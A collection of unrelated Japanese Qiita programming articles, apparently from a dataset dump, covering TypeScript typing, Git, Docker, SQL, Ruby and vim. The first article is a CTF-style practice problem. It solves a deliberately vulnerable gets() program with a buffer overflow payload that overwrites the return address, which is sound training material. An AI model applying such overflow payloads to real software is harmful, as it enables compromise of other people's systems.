OmniAICreator/Qiita-1.07M huggingface dataset:
pwnの練習問題 その3

#概要

pwnの練習問題、作って見た。
windowsで、やってみた。

#環境

windows vista 32bit
visual studio 2010

#練習問題

下記の、プログラムの脆弱性を突いて、ctf関数を実行せよ。

```
#include <stdio.h>

void ctf()
{
    puts("You Cool!");
    exit(0);
}

int main()
{
    char buf[10];
    gets(buf);
    printf("%p\n", buf);
    printf("%p\n", ctf);
    return 0;
}

```

#コンパイル

```
cl ctf.c /GS- /link /nxcompat:no /dynamicbase:no
```


#動的解析

落ちる。

```
echo AAAAAAAAAAA | ctf
```

#方針

バッファオーバーフローでリターンアドレス書き換えて、CTF関数を実行させる。


#解答


```
Function hex2bin(HexText)
    With CreateObject("Microsoft.XMLDOM").createElement("tmp")
        .DataType = "bin.hex"
        .Text = HexText
        hex2bin = .NodeTypedValue
    End With
End Function

Dim Hex
Dim Text
Hex = "41004100410041004100410041004100410041004100410041004100410041000000100040000000"
Text = hex2bin(Hex)
WScript.StdOut.Write CStr(Text)
```

#実行


```
cscript //nologo hex2bin1.vbs | ctf
```

以上。
Bootstrapのレイアウト崩れの原因（縦一列から普通の横並びに直す）

Bootstrap使って編集しているが、レイアウトが上手く機能していない。ちゃんと掲示板を横から順に表示されて欲しいのに、なぜか縦一列に表示される。

理想
[![Screenshot from Gyazo](https://gyazo.com/5743fe585323aed3a0606292cb6123ee/raw)](https://gyazo.com/5743fe585323aed3a0606292cb6123ee)

実際
[![Screenshot from Gyazo](https://gyazo.com/56aada611b01143c8def782559ce565b/raw)](https://gyazo.com/56aada611b01143c8def782559ce565b)

#対処法
余計な``</div>``タグがあったため、形が崩れていた。ちゃんとレイアウトの指定しているのに形が崩れていた場合、タグ数があっているか確認しましょう。
TypeScript: 異なる2つの型システム「公称型」と「構造的部分型」

本稿では、異なる2つの型システム「公称型」と「構造的部分型」の差異について説明します。

## 型の互換性とは？

まず型の互換性とは何でしょうか？ TypeScriptでは、ある型に別の型を代入できるかどうかが「互換性」の判断基準になります。例えば、`1`は`number`に代入できるので、`1`は`number`に互換しています。一方、`true`は`number`に代入できないので、`true`は`number`とは互換していないことになります。

## 異なる2つの型システム

TypeScriptは、互換性の有無の判断基準(つまり、代入できるかどうかの基準)が、JavaやPHPなどとは異なっています。どのように異なるのか、それぞれ見ていきましょう。

### 公称型 - 継承関係に着目するJava

JavaやPHPは、公称型(nominal typing)という型システムを採用しています。公称型では、型の互換性は、オブジェクト同士の継承関係(is-a関係)に着目して判断します。

例えば、`Animal`と`User`の2つのクラスが、全く同じ`name`プロパティを持っていて、同じように取り扱えたとしても、お互いに継承関係が無い場合は、`User`型の変数に`Animal`インスタンスを代入することも、その逆もできません。互換性がないわけです。逆に、`Cat`クラスが`Animal`を継承している場合、`Animal`型の変数に`Cat`は代入可能です。`Cat`は`Animal`との互換性があることになります。

<img width="370" alt="Astah_-__no_title_____.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/889/c60b8d7d-df69-1431-5bb0-c0ddebbd64ea.png">

`Animal`と`User`が同じプロパティ、同じメソッドを持っていれば、オブジェクトの「能力」は同じです。なので、`User`を使うところに`Animal`を使えても良さそうです。それが仕様上の間違いだとしても、論理エラーにはならないためです。

しかし、こうした交換を許さないのが公称型なのです。あくまで、継承関係があるかが大事。「能力」よりも「血統」重視の型システムと言えそうです。

### 構造的部分型 - 構造に着目するTypeScript

TypeScriptは、構造的部分型(structural subtyping)という型システムを採用しています。構造的部分型は、継承関係ではなく、オブジェクトが持っているプロパティが互換しているかどうか、つまり構造が同じかどうかに着目します。

例えば、`Animal`と`User`の2つのクラスに、継承関係がなかったとしても、同じ`name`プロパティを持っていれば、`User`型の変数に`Animal`を代入できます。その逆も可能です。つまり、お互いに互換性があるわけです。

<img width="364" alt="Astah_-__no_title_____.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/889/2cb001dc-199f-7690-dcfa-cc7f11d3e378.png">


```typescript
class Animal {
  public name: string = ''
}

class User {
  public name: string = ''
}

let user: User = new User()
let animal: Animal = new Animal()
user = animal // OK
animal = user // OK
```

`Animal`と`User`が同じインターフェイスならば、オブジェクトの「能力」は同じです。継承関係がなくとも、「能力」が同じかどうかが大事。「血統」よりも「能力」重視なのが構造的部分型と言えそうです。

・・・

本稿では、インターフェイスが同じならTypeScriptでは互換性があると説明しました。しかし、これは正確ではありません。同じインターフェイスを持ったクラス同士でも、互換性がない、つまり、代入できない場合があります。それについては次の投稿で説明していきたいと思います。

https://book.yyts.org/reference/object-oriented/class/class-nominality

---

最後までお読みくださりありがとうございました。Twitterでは、Qiitaに書かない技術ネタなどもツイートしているので、よかったらフォローお願いします:relieved:→[Twitter@suin](https://twitter.com/suin)
ローカルに作ったフォルダをGitHubに初めてPushする方法

# はじめに
GitHubはPushやPullくらいしか知らない初心者です。

難しい説明とかいらないから、とりあえずPushしたいんだ！！って方向けに説明します。

# 手順
## リモート側の準備
[GitHub](https://github.com/)でリポジトリを作成し、リポジトリのURLを取得

## ローカル側の操作
Pushしたいフォルダへ移動

```
cd [PATH TO WORKSPACE]
   ```

Gitを初期化
 
```
git init
   ```

すべてのファイルを追跡リスト（？）に追加

```
git add -A
   ```

「first commit」というタグでCommit

```
git commit -m "first commit"
   ```

上で作成したリポジトリに関連付ける

```
git remote add origin [GitHubのリポジトリのURL]
   ```

リモートリポジトリにPush

```
git push origin master
   ```
GitHubにSSH接続でログインするまで

# ユーザー情報の設定
```
git config --global user.name "[USER NAME]"
git config --global user.email "[MAIL ADDRESS]"
```

# SSH接続
#### 下準備
```
mkdir ~/.ssh
```
```
cd ~/.ssh
```
#### 公開鍵を生成
```
ssh-keygen -t rsa
```
何も入力せずに3回エンターを押す
#### 公開鍵をコピー

```
sudo apt install xsel
```
```
cat ~/.ssh/id_rsa.pub | xsel --clipboard --input
```
#### 公開鍵のアップ
公開鍵を<https://github.com/settings/ssh>にアップする

#### 接続の確認

```
ssh -T git@github.com
```
これで`yes`としたら完了


参考サイト：https://qiita.com/shizuma/items/2b2f873a0034839e47ce
Golang - Knuth-Durstenfeld Shuffle with crypto/rand

```golang

package main

import (
	"crypto/rand"
	"fmt"
	"math/big"
)

func shuffle(array []int) {
	for i := len(array) - 1; i >= 0; i-- {
		result, err := rand.Int(rand.Reader, big.NewInt(int64(i+1)))

		if err != nil {
			panic(err)
		}

		j := int(result.Int64())

		array[i], array[j] = array[j], array[i]
	}
}

func main() {
	a := []int{1, 2, 3, 4, 5, 6, 7, 8, 9, 10}
	fmt.Println(a)
	shuffle(a)
	fmt.Println(a)
}

```

```
[1 2 3 4 5 6 7 8 9 10]
[7 2 1 10 3 8 9 6 5 4]

[1 2 3 4 5 6 7 8 9 10]
[9 2 1 5 3 10 7 4 6 8]

[1 2 3 4 5 6 7 8 9 10]
[8 1 6 7 2 3 10 9 4 5]
```

https://play.golang.org/p/hNmgRWnrZVy

https://en.wikipedia.org/wiki/Fisher%E2%80%93Yates_shuffle
【Rails】I18n::InvalidLocaleDataが出た時の対処法

gemのi18nを導入し日本語化していると、下記のエラー（I18n::InvalidLocaleData
）が発生しました。

![スクリーンショット 2021-04-18 14.39.51.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/449478/5b512de8-a78c-45d6-7e7e-5a6619b83da7.png)


#対処法
view側で間違いがない場合、ja.ymlの記述が間違っている可能性が高いです。
viewのエラーが出ている箇所を消してみて同じエラーが出るようなら、そもそもファイルが読み込めてないので、ja.ymlの記述を確認しましょう。
私がよくやっていた間違いが2つあります。

①ディレクトリのミス
本来のディレクトリと違っていた、sのつけ忘れなどスペルミス。ディレクトリ通りか確認しましょう。パーシャルのアンダーバーは必要ないので、例えばapp/views/users/_form.html.erbは以下のようになる。

```
users:
  form:
```

②インデントミス
他のファイルではインデントが違っても表示されますが、ja.ymlファイルでは1つでもインデントが違うと読み込まれません。ディレクトリの階層ごとにちゃんとインデントがされてるかチェックしてください。
あなたに合っているのはこんな企業だ！

就職活動を迎える時、転職時にどのような企業がいいのか迷ってはいないでしょうか？
エンジニアとしてスキルアップしたい、堅実な仕事がしたい・・・。
IT関連の分野は成長段階にあり、まだまだ売り手市場が続きそうですが自分にあった会社を見つけるのは難しいと思います。

そんな方に向けて、ソーシャルゲーム業界で１０年ほどエンジニアを続けてきた自分から見た特色をお話できればと思います。
（企業の規模や時期によっての自分なりの見解になります。）


# 企業規模（社員数）
### 〜50名
- 仕事の幅が広い
    - インフラ、仕様作成、お問い合わせ対応、クオリティ担保などを1〜数名のエンジニアで対応することも
- 幅広くスキルを覚えたい、初めての事に挑戦することが好きな方に合っている
- 社外の方とのコミュニケーションが多い
    - 早ければ数ヶ月で社外での仕事や相談の場に行く機会があります


### 50〜300名
- 専門職の方が在籍していることが多い
    - 専門職（インフラ、セキュリティ、データ・アナリティクス、AI等）のエンジニアになりたい方に合っている
    - プロダクトの開発や運営側としても専門職の方と相談や依頼できるだけの知識は求められる
- 社外の方とのコミュニケーションは半々ぐらいの印象


### 300名〜
- 専門職の方が多く在籍していることが多い
    - 専門職の方が多く、何かしらのプロフェッショナルになりたい方に合っている
    - プロダクトの開発や運営側は専門職のまとめ役が多い印象
    - 専門職に、ケースやニーズに合わせた提案などができるだけの知識と技術力が求められている
- 社外の方とのコミュニケーションも専門の部署が担っている事が多い


# 時期
### スタートアップ、ベンチャー
- 創業間もないため、歴史的な知見が少ない
    - 知見がないため逆に新しい事にチャレンジできる環境でもある
- 風土や組織づくりなどを経験するチャンスがある
    - 企業が大きくなればなるほど、チャンスが少なくなる印象


### 中堅
- ソシャゲ業界でいえば〜10年が目安
- 技術としては会社や所属部署によって幅広い知識や専門性が別れている
- 会社としての知見もあり、資料化もある程度されている


### 老舗
- ソシャゲ業界でいえば10年〜が目安
- 技術としては幅広い知識よりも専門性が重要視されている
- 会社としての知見も多く、資料化がルール化されていたりする
DockerのImageの保存先を変更する方法

# 動機
Surface Book 2 15''をWindows 10とUbuntu 18.04のデュアルブートにしたが、Surface Book 2 15''はSSD 256GBモデルのため、容量が足りない。そこで、仕方なく256GBのSDカードを購入。

このSDカードにDockerのイメージを保存できたら最高なんじゃないか？？

という発想です。

# 方法
色んなサイトの方法を試したが、なかなかうまく行く方法が見つからなかったので、成功した方法の共有メモとして残しておきます。

```
/etc/init.d/docker stop
   ```

```
mv /var/lib/docker /[新しいDockerのイメージ保存先]
   ```

```
ln -s /[新しいDockerのイメージ保存先]/ /var/lib/docker
   ```

```
/etc/init.d/docker start
   ```

参考サイト：http://rikeiin.hatenablog.com/entry/2019/09/13/115611
Notesの文書リンクを取得するボタンを作成（簡単にSlackなどへ貼り付けられます）

Window10、Notes9の環境で実施した内容ですが、他のバージョンでも可能と考えていますので、お試し下さい。
1.Notesの「ファイル」-「設定」をクリック
2.「ツールバー」-「カスタマイズ」-「Universal」を選択し、「新規」-「ボタン」をクリック
3.「ツールバーボタンの編集」ダイアログで式に以下を貼り付けて「OK」ボタンをクリック
>  @Command( [Execute]; "cmd.exe" ; "/c \"echo Notes://" + @Name([CN]; @Subset(@DbName; 1)) + "/" + @ReplaceSubstring(@ReplicaID; ":"; "")  + "/0/" + @Text(@DocumentUniqueID) + " | clip.exe \"")  
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/569653/58e4449c-2b83-52be-3d2a-154bfe9f8bee.png)

4.Notesを再起動し、新しいボタンを反映させる
5.該当文書を開き、赤枠のボタンをクリック（クリップボードへのコピーまで実施済となる）
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/569653/d17d390e-53e6-bcdf-91af-3feee4b899b5.png)

6.Slack等で貼り付け（ctrl+v）

今までは、文書のプロパティを開いて「識別子」をコピーしていたが、このボタンの作り方を知り、格段に作業スピードが上がりましたので、ご紹介させていただきました。
まだ、Notesを使用している人は少ないかもしれませんが、誰かの役に立てたら幸いです。
メモ

- トリボナッチ数列
 - 1,0,5,6,11,22.......

- 四乗的ガウス
 - 1~50までの4乗の総和

- 逆数の総和
 - 9以上になる逆数の総和

- 30000までの3の倍数の総和
 - シグマ計算
Swifterを使って画像を投稿する

## はじめに
SwiftでTwitterAPIを使って画像を投稿したかったのですがあまり記事がなかったので投稿します。
Swifterというライブラリを使っています。ドキュメントには画像を投稿することについては書いていなかったのですがコード読んでたらそれらしきものがあったのでそれを使いました。
https://github.com/mattdonnelly/Swifter
## 今回やること
1. SwifterでaAuth認証する。
2. 画像をツイッターに投稿する。

## OAuth認証する。
これに関しては記事を別に書いているのでそちらを見てください。 
 
https://qiita.com/daichi77/items/88fcffaf11585033fdd4

## 画像を投稿する。

```swift
let image = UIImage(hogehoge)//投稿する画像を入れる。
let data = image.pngData()//data型に変換
//aouth認証で入手したやつを入れる。
let swifter = Swifter(consumerKey: 取得したkey,
                      consumerSecret: 取得したkey,
                      oauthToken: 取得したkey,
                      oauthTokenSecret: 取得したkey)
//ツイート。statusには文をmediaには画像をdata型に変換したものを入れる
swifter.postTweet(status: "test", media: data!,success: { json in
　　print(json)//成功時
}, failure: {error in
　　print(error)//失敗時
})
```
こんな感じでツイートできました。
文章のみ投稿するpostTweetはドキュメントに載っていましたが画像投稿も同じ感じでツイートできました。
<img width="593" alt="スクリーンショット 2020-02-11 11.36.34.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/255216/0ea8a702-4258-13dd-cc09-08e0e52d9d5c.png">

## 補足(413 payload too large errorが帰ってくる場合 )
自分の場合iPhoneのフォルダーから画像を読み取ってそれをアプリに保存した後に
再度アプリから保存した画像を読み取りツイッターに投稿という手順だったのでこの手順のどこかで画像が大きくなってしまったのかもしれません。
もしかしたら同じエラーが帰ってくる人がいるかもしれないので解決方法を載せておきます。


```swift
let image = UIImage(hogehoge)//投稿する画像
//大きさをresizeする
let width = image.size.width * 0.1
let height = image.size.height * 0.1
UIGraphicsBeginImageContextWithOptions(CGSize(width: width, height: height), false, 1.0)
image.draw(in: CGRect(x: 0, y: 0, width: width, height: height))
let resizeImage = UIGraphicsGetImageFromCurrentImageContext()
UIGraphicsEndImageContext()
//大きさをresizeした後にdata型に変換
image.pngData()
```
こんな感じで画像の大きさをresizeしてあげるとうまくtweetできました。0.1倍じゃなくていいかもしれませんがいい感じの大きさにしてツイートしてあげてください。
注:画像が荒くなる可能性があります。
ROOK CephのDashboardが表示されなくなった場合の対処法

ROOK制御下で起動したCephのダッシュボードが表示されない。すなわち、ヘッダーのロゴだけが表示され、ボディ部分が空白となってしまった場合、ダッシュボードを復旧させる方法についてのメモである。

## 問題の状態

状況は、Cephダッシュボードのサービスとポッドが稼働している。しかし、ブラウザに表示されない。

~~~
kubectl get svc -n rook-ceph rook-ceph-mgr-dashboard --show-labels
NAME                       TYPE        CLUSTER-IP    EXTERNAL-IP   PORT(S)             AGE   LABELS
rook-ceph-mgr-dashboard    NodePort    10.32.0.252   <none>        8443:30443/TCP      36h   app=rook-ceph-mgr,rook_cluster=rook-ceph
~~~

ダッシュボードの表示リクエストを処理するポッドも稼働している。

~~~
kubectl get po -n rook-ceph -l app=rook-ceph-mgr
NAME                               READY   STATUS    RESTARTS   AGE
rook-ceph-mgr-a-66957d85ff-6nzvm   1/1     Running   1          36h
~~~~

## 対策

Cephのダッシュボードのポッドを削除する。コントローラーが直ちに起動してくれるので削除するだけで良い。

~~~
kubectl delete po -n rook-ceph rook-ceph-mgr-a-66957d85ff-6nzvm
pod "rook-ceph-mgr-a-66957d85ff-6nzvm" deleted

kubectl get po -n rook-ceph -l app=rook-ceph-mgr
NAME                               READY   STATUS    RESTARTS   AGE
rook-ceph-mgr-a-66957d85ff-4s2kb   1/1     Running   0          4s
~~~

Cephダッシュボードが表示されるようになり、問題が解消した。
鳥取県東部地区バス変遷(2016-2020)

大学在学4年間をまとめる私的な備忘録。随時更新

# 鳥取のバスを調べる上で参考になるサイト
- 「くる梨でくる～り」
    - [http://www.moon.sannet.ne.jp/kururi/index.html](http://www.moon.sannet.ne.jp/kururi/index.html)

# 2016年
## [3月]オオクニヌシ号(日ノ丸自動車・一畑バス)新設
> 鳥取駅 - 米子駅 - 松江駅 - 出雲市駅（2016年3月16日 - 2017年8月3日）
鳥取駅 - 米子駅 - 松江駅・松江しんじ湖温泉駅（2017年8月4日 - 2019年2月28日）
2016年運行開始。当初は鳥取駅 - 出雲市駅間の運行だった。その後、2017年に鳥取駅 - 松江駅・松江しんじ湖温泉駅間に短縮された。しかし、利用者の減少により、2019年に運行を終了した。

- [https://ja.wikipedia.org/wiki/%E6%97%A5%E3%83%8E%E4%B8%B8%E8%87%AA%E5%8B%95%E8%BB%8A]<https://ja.wikipedia.org/wiki/%E6%97%A5%E3%83%8E%E4%B8%B8%E8%87%AA%E5%8B%95%E8%BB%8A>
- 琴浦PAで休憩
- この当時は2往復、何度か乗車したがほぼ人は乗っていなかった
- 山陰道の鳥取西道路の全通を待たずに廃止に
- 2016年夏季に値下げキャンペーンを行う
- その後2017年に4往復になり、時期や便によっては人がある程度乗っていた様子を見るも、乗客0人の便も度々見かける

## [4月]国府線(日本交通)新設
> 鳥取市東部の国府町地域から鳥取工業高校や鳥取市立病院方面への利便性向上

- 市立病院から津ノ井駅前や鳥商前を経由し因幡万葉歴史館まで
- [http://www.moon.sannet.ne.jp/kururi/pictures/annex/16/060.html](http://www.moon.sannet.ne.jp/kururi/pictures/annex/16/060.html)
- 4往復、市立病院行が早く終わり因幡万葉歴史館行が遅いなど、運行時間帯が微妙に違った
- その後2017年3月で廃止、相当乗客が少なかった

# 2017年
- 佐治線と南部幹線(用瀬線)直通開始(たしかここ？記憶違い？)
- 記憶が朧気で辿れない、後日加筆
## [3月]国府線(日本交通)廃止

# 2018年
## [4月]日本交通市内回り減便
- 確かここ
- 日中にも存在した若桜線市内回りを直行に
- これにより日本交通路線の下り市内回り全廃、平日上り朝2便のみ(若桜線・若葉台線)

## [10月]岩井線快速の新設
- 山陰近畿自動車道経由
- 岩美駅・市立病院・城北団地・(県庁日赤前経由で各駅停車)・本通り・鳥取駅
- ゆめぐりエクスプレス直通1往復＋土休日運休の朝夕2往復
- 2019年3月から新温泉町の町民バス海上線塩谷行が片道のみ岩美駅まで延伸し、岩井線快速へ接続するように

## [10月]ゆめぐりエクスプレスの1往復を岩井線快速へ
- 1往復が湯村温泉から岩美駅を経由し、岩井線快速へ直通するように
    - 公式呼称は「接続」

# 2019年
## [3月]横枕線(日ノ丸自動車)廃止
- 倭文地区のやまとふれあいタクシーに置き換え

## [4月]南部幹線快速の大幅減便
- ほとんど快速が見られなくなる(以下改正後)
    - 平日午前2便(下り2)＋午後2便(下り1+上り1)
    - 土休日午前1便(下り1)＋午後1便(上り1)
- 所要時間が普通とほぼ変わらない為？

## [8月]豊岡鳥取の高速バス試験運行
- 夏休みの10日間、1日2往復、片道1時間46分で運行、予約不要の乗り合い
- 豊岡鳥取1000円
- 鳥取駅南口で発着

## [9月]杉崎高速バスのバス停移設
- 高速バス鳥取、鴻南閣の2停留所を廃止し鳥取駅南口を新設
- 事実上の移設
- 休止されているさくら観光の出雲線時代のバス停を活用
- 現在でも鳥取における杉崎高速バスの車庫は鴻南閣

## [10月]神戸線(日ノ丸自動車)の因幡大橋経由全廃
- 古海経由に全便振り替え
- それまでは駅から南吉成を経由して因幡大橋を渡る便や、反対に因幡大橋を渡って市立病院と南吉成を経由し駅へ向かう便が存在した

## [10月]くる梨ルート再編
- 右回り・左回り時代に由来する青コース・赤コースルートを再編
- 青・緑・赤がそれぞれ市街地の西側・中央・東側に対応するように
- 駅南のイオン付近(旧鳥取市民病院跡地)に建設された市役所への乗り入れとイオン乗り入れ廃止
- 青コースの扶桑地区への乗り入れ他

## [12月]空港周遊バス(日ノ丸自動車)廃止
- 鳥取砂丘コナン空港-かにっこ館前-鳥取砂丘

## [12月]廃止予定のバス告知がNHKニュースに
- 5年から10年以内に廃止が見込まれるバス路線を公表
- 合計5路線(日ノ丸自動車3路線＋日本交通2路線)
    - 「神戸線」
    - 「勝部線」
    - 「日置線」
    - 「八坂線」
    - 「津ノ井倉田循環線」

# 2020年

## [4月]若桜鉄道八東駅の行き違い設備完成による増便
- バスではないものの、日本交通若桜線のダイヤ改正も予定されている(との情報を小耳に)
- 始発京都行はくとに接続するように
- 日中は約2時間来ない時間帯もあるが、朝夕などの利便性向上
- 夕方の津ノ井-郡家の狭すぎる運転間隔も解消

## [4月]松江線廃止回避と減便
- 鳥取県東部地区ではないものの重要
- 日ノ丸自動車米子営業所は72人の運転士に対し恒常的に8人不足状態との情報(日本海新聞紙面)
- 4月での廃止が予告されたものの、自治体の要請？で減便存続、10月の全廃が告知

# 今後
## バスターミナルの案内改善計画
- 米子、倉吉、鳥取の順に案内改善を実施予定とのこと
- 2019年10月のとっとり交通フェスタにて

## 駅周辺再開発計画(鳥取市)
- 道路の新設や駐車場の整備などの計画
- バスターミナルの改修も同時に？

## 鳥取県東部の交通網形成計画
- 岩井・岩美線の長谷橋-蕪島が日中便数に対し利用が少なく利用の少ない区間の運行形態を検討
- 岩美駅の待合環境と乗り継ぎ時刻の改善
VSCodeのRuby on RailsのフォーマッタはBeautifyがオススメ

VSCodeでRuby on Railsのコードを書いていて、フォーマッタを使うといいと言われました。どのフォーマッタがいいか迷ったり導入に戸惑ったので、今回はおすすめの「beautify」について紹介したいと思います。

#Rufoを導入しようと試みるも...
「Rails」「フォーマッタ」で検索するとRufoが出てきた。
https://qiita.com/totto357/items/31552e899b737b529244

毎回コマンドラインでフォーマットをかけるか、`.rufo`の設定をする必要がある→初心者にはわかりづらい...

#Beautify導入
他にないかと検索すると「beautify」 発見。
https://qiita.com/giosc103/items/3da5d172cbbb574a9352

上記のURL通りMarketplaceでインストールする。
もともとjavascript用なので、settings.jsonで


```
"beautify.language": {
・・・
        "html": [
            "htm",
            "html",
            "erb"
        ]
    }
```

こうすることでerbファイルで保存する際、勝手にフォーマットを修正してくれる。
設定するものも少なく自動で修正してくれるので、Rails勉強しているプログラミング初心者におすすめ。
ABC081B - Shift onlyを2で割れる回数の最小値から導く方法（Golang）


##はじめに
[ABC081B - Shift only](https://atcoder.jp/contests/abs/tasks/abc081_b)を実際の操作のシミュレーションでのカウントではなく、
2で割れる回数の最小値から導く方法です。

```golang
package main

import (
  "fmt"
)

func main() {
  var n int
  min := 1000000000 // Aiの取りうる値の最大値
  fmt.Scanf("%d", &n)
  nums := make([]int, n)
  
  // n個の値を取得
  for i := 0; i < n; i++ {
    fmt.Scan(&nums[i])
  }
  
  for i :=0; i < n; i++ {
    lcnt := 0;
    // 2で割り切れる限り回し続ける
    for nums[i]%2 == 0 {
      nums[i] = nums[i]/2
      lcnt++ // 割った数をカウント
    }
    
    // 最小値より小さいカウントの場合入れ替え
    if min > lcnt {
      min = lcnt
    }
  }
  fmt.Println(min)
}
```

##おわりに
説明文の操作の通り上から順序よく処理したくなりますが、選択肢として持っておきたいため書きました。
ESXiからリモートにsyslogを転送する

## はじめに
ESXiのsyslogを別ホストに転送したかった。ので、メモ。


## 設定する

今回の例では、以下２ホストにログを転送しています。

* 10.254.10.104
* 10.10.254.10.112


### syslog転送先ホストの設定
複数ある場合には、カンマで区切ります。

```
esxcli system syslog config set --loghost=10.254.10.104,10.254.10.112
esxcli system syslog reload
```

ログ転送先の設定は `プロトコル://ホスト名:ポート名` で記述。
公式ドキュメントには、 `tcp` `udp` `ssl` が書いてありました。

### firewallの設定

```
esxcli network firewall ruleset set --ruleset-id=syslog --enabled=true
esxcli network firewall refresh
```


## 設定を確認する


### syslog転送先ホストの確認

```
esxcli system syslog config get | grep Remote
（こうなってればOK）
   Remote Host: 10.254.10.104,10.254.10.112
```


### firewallの設定

```
esxcli network firewall ruleset list | grep syslog
（こうなってればOK）
syslog                     true
```

## 出典
https://kb.vmware.com/s/article/2003322?lang=ja
疎結合とは何か

**疎結合**とは何か？という話を最近軽く考えていたので、軽くメモる。

## １）実装的に分離していること

メッセージ通信やDIによって分離している状態。

簡単に判別できるとしたら、**単独でそのソースコードがコンパイルできること**。
実装的に分離できるのであれば、設計上は当然分離しているので、あえては言わない。

しかし、この条件からすると、他のクラスの管理下にあるプロトコル、インターフェイス、その他の抽象を装備してしまうと、疎結合度は下がるだろう。（密結合度が上昇）
https://qiita.com/BlueEventHorizon/items/211dc826e2e86ed8c8d2
のUML図を参照のこと。
先月博多で同じDIでも種類が違うぞ、この話を微妙に熱を込めて語ったのにはこんなわけもある。

## ２）責務が適切に分離されたインターフェイスが定義されていること。

実はこちらの方が大切で、インターフェイスが適切に定義されていれば、少々「実装的に分離していること」がダメでもなんとかなる。クソなインターフェイスを作ると死ぬのが定石。
あえては言わないが（言ってる・・・）この結果分離されたものをクラスとか関数とかいう。

世の偉いエンジニアの方達には違うと言われそうだが、**SRP：単一責任の原則**は基本的にはそういうことだと認識している。

https://qiita.com/BlueEventHorizon/items/a0144ef9ac20e587d288
参照のこと。

分析設計は、 MECE で考えられるというのもとても重要なスキルだと思う。というか、（大きく言えば）世の中を分析・設計するのがエンジニアリングであるので、当然考え方は似てくるだろう。

なので優秀なエンジニアは、優秀なデザイナーと同じく、世の中の問題を解決できる力がある（のかもしれない）

おわり
WSL vim/neovimとwin32yankの設定

WSL上のvim/neovimのクリップボード設定方法です

**注意: Windows Subsystem Linux for Previewにするとwin32yank.exeやclip.exeが使えなくなります**

### neovim

neovimはclipboradをカスタマイズできるので、コピー時・ペイスト時の入出力先をwin32yank.exeにしてあげればよい

```vim
let g:clipboard = {
    \   'name': 'myClipboard',
    \   'copy': {
    \      '+': 'win32yank.exe -i',
    \      '*': 'win32yank.exe -i',
    \    },
    \   'paste': {
    \      '+': 'win32yank.exe -o',
    \      '*': 'win32yank.exe -o',
    \   },
    \   'cache_enabled': 1,
    \ }
```

### vim

vimはclipboardカスタマイズできない。

- コピー時はTextYankPostをトリガーにしてwin32yankに書き込み、
- ペイスト時はwin32yankの内容を **一旦レジスタに書き込んだのち** ペイストするようにした。

`:r !win32yank.exe -o`という設定をよく見かけるけれど、ペイスト後のカーソルの位置が気に食わないのでレジスタを仲介することにしました。

```vim
augroup Yank
    au!
    " Yankにフックしてレジスタに登録された文字をwin32yankにも出力する
　　autocmd TextYankPost * :call system('win32yank.exe -i', @")
augroup END
" win32yank内の文字を一旦vimのレジスタに登録してからペイストする
noremap <silent> p :call setreg('"',system('win32yank.exe -o'))<CR>""p
```
SQL 基礎用語&文法　4

#はじめに
[SQL 基礎用語＆文法 3 はコチラをクリック願います。](https://qiita.com/raigakun/items/d22297998b4d439909e0)
SQLを学んでいく上で、用語等を中心に整理していきます。
ターミナルにて入力する。もしくはSequelProのクエリにて入力するようにしております。
もうすでにご存知の方、省略の仕方等ご存知でしたら、ご教授願います。

#検索する編　ちょっと応用　2

- SequelProにて行います。
- テーブルにデータが入っていることを想定する。

##複雑なデータ検索
####JOIN句
- 指定したそれぞれのテーブルの、カラムの値が一致するデータを結合する。
- JOIN句はFROM句の後に記述し、結合の対象となるテーブルを指定する。
- そしてONの後に、それぞれのテーブル名.カラム名を=で結合する。

```sql
-- 式
FROM テーブル1
JOIN テーブル名2 ON テーブル名1.カラム名1 = テーブル名2.カラム名2

-- 実践してみます。
FROM shifts
JOIN users ON shifts.user_id = users.id

--上記のままでは、冗長ですので、各テーブルに別名をつけて短縮する。
--FROMやJOINでテーブル名を指定する際、ついでにそのテーブルの別名も指定する。
--別名は、"shifts"テーブルならs、"users"テーブルならuのように、各テーブル名の頭文字を取ってあげるのが一般的.
FROM shifts s
JOIN users u ON s.user_id = u.id
```

##検索結果を用いた検索
####サブクエリ

- ある検索結果を使用して別のSQL文を実行する仕組み
- WHERE句で使用されることが多い。
- SELECT句やFROM句でもサブクエリは使用できる。

```sql
--WHERE句でNOT INを使用することでテーブルから、カラムがリストに含まれていない行のみを取得する。

-- 式
SELECT *
FROM テーブル
WHERE カラム NOT IN (リスト)

-- 実践してみます。
SELECT *
FROM users
WHERE id NOT IN (
SELECT DISTINCT user_id
FROM shifts
WHERE date = "2015-07-01"
)
```

#さいごに
日々勉強中ですので、随時更新します。
皆様の復習にご活用頂けますと幸いです。
Ruby　コーティング規約について　命名規則編　2

# はじめに
[命名規則編 1 はこちらをクリック願います。]
(https://qiita.com/raigakun/items/59434ab724bf2bf7a13d)
[レイアウト編 3 はこちらをクリック願います。過去記事リンクあり。](https://qiita.com/raigakun/items/7416db5b4d70ea93046e)
[構文編 2 はこちらをクリック願います。過去記事リンクあり。](https://qiita.com/raigakun/items/80ba30671d7b2b18c44e)
Rubyの基礎を学習中の方に向けて記載致します。
私自身これからチーム開発を行う上で大事にしたい。知っておきたいことをOutputします。

#命名規則について
#####① シンボル、メソッド、および変数名において、文字と数字を分離しないようにする。

```qiita.rb
# 悪い例
:some_sym_1

some_var_1 = 1

var_10 = 10

def some_method_1
  # 処理
end



# 良い例
:some_sym1

some_var1 = 1

var10 = 10

def some_method1
  # 処理
end
```

#####② 述語メソッドに is、 does、 canのような助動詞をつけるべきではない。

- 冗長になるため。
- Rubyコアライブラリの述語メソッドのスタイル ( empty？や include？など)と矛盾するため。

```ruby:qiita.rb
# 悪い例
class Person
  def is_buff?  #筋肉がある人？
    true
  end

  def can_play_rugbyfootball?
    false
  end

  def does_like_chocolate?
    true
  end
end



# 良い例
class Person
  def buff?
    true
  end

  def rugbyfootball_player?
    false
  end

  def likes_chocolate?
    true
  end
end
```

#さいごに
毎日更新します。
皆様の復習等にご活用頂けますと幸いです。
Nature RemoのセンターデータをZabbixで取得

# はじめに
自宅の湿温度を測ってくれているNature RemoのセンサーデータをWeb APIから取得してZabbixでグラフ化するテンプレートです。
Zabbix 4.0で導入されたHTTP Agentによって今までHTTP API取得をスクリプト経由でしかできなかったことがZabbixテンプレート上で行えるようになったのでやりかたメモ
